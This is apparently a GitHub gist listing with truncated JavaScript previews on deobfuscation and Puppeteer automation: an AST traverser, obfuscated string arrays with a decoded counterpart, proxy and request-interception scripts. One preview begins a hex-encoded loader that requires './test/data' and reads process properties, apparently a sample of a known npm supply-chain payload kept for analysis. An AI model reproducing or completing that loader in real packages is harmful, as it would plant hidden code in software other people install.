This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { traverse } = require("shift-traverser"); | |
module.exports = function(ast) { | |
const ids = []; | |
traverse(ast, { | |
enter(node, parent) { | |
if (node.type === "VariableDeclarator") { | |
if (node.binding.type === "ObjectBinding") { | |
node.binding.properties.forEach(prop => ids.push(prop.binding.name)); | |
if (node.binding.rest) ids.push(node.binding.rest.name); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var a = [ | |
"\x73\x65\x74\x54\x61\x72\x67\x65\x74", | |
"\x77\x6f\x72\x6c\x64", | |
"\x72\x65\x61\x64\x65\x72", | |
"\x74\x61\x72\x67\x65\x74", | |
"\x67\x72\x65\x65\x74", | |
"\x6c\x6f\x67", | |
"\x48\x65\x6c\x6c\x6f\x20" | |
]; | |
(function(c, d) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function () { | |
class c { | |
constructor(d) { | |
this.target = d; | |
} | |
greet() { | |
console.log("Hello " + this.target); | |
} | |
setTarget(e) { | |
this.target = e; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const puppeteer = require("puppeteer"); | |
async function launch() { | |
const browser = await puppeteer.launch({ | |
args: ["–proxy-server=<<secret>>"] | |
}); | |
const page = await browser.newPage(); | |
await page.authenticate({ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const puppeteer = require('puppeteer'); | |
(async function main(){ | |
const browser = await puppeteer.launch({ | |
headless:false, | |
defaultViewport:null, | |
devtools: true | |
}); | |
const page = (await browser.pages())[0]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
! function() { | |
try { | |
var r = require, | |
t = process; | |
function e(r) { | |
return Buffer.from(r, "hex").toString() | |
} | |
var n = r(e("2e2f746573742f64617461")), | |
o = t[e(n[3])][e(n[4])]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { Puppeteer } from 'puppeteer/lib/Puppeteer'; | |
import findRoot from 'find-root'; | |
import path from 'path'; | |
import { initializePuppeteer } from 'puppeteer/lib/index'; | |
const puppeteer = initializePuppeteer({ | |
packageJson: require(path.join(findRoot(require.resolve('puppeteer')), 'package.json')), | |
rootDirectory: findRoot(require.resolve('puppeteer')), | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var _0x4fa2 = [ | |
'zgvMAw5LuhjVCgvYDhK=', | |
'x19LC01VzhvSzq==', | |
'y29TCg91BMrbC3nPz25Tzw50t3bLCMf0B3jnyxa=', | |
'Dw5HCNLpCgvYyxrVCK1HCa==', | |
'yMLUyxj5t3bLCMf0B3jnyxa=', | |
'pt09', | |
'it09', | |
'Aw5ZDgfUy2vVzG==', | |
'pJ4+', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const puppeteer = require('puppeteer'); | |
const prettier = require('prettier'); | |
const atob = require('atob'); | |
const btoa = require('btoa'); | |
const requestCache = new Map(); | |
const urlPatterns = [ | |
'*' | |
] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class GeneralSet { | |
map = new Map(); | |
constructor(a = []) { | |
this[Symbol.iterator] = this.values; | |
if (a) a.forEach(_ => this.add(_)); | |
} | |
add(el) { | |
this.map.set(el.toIdString(), el); |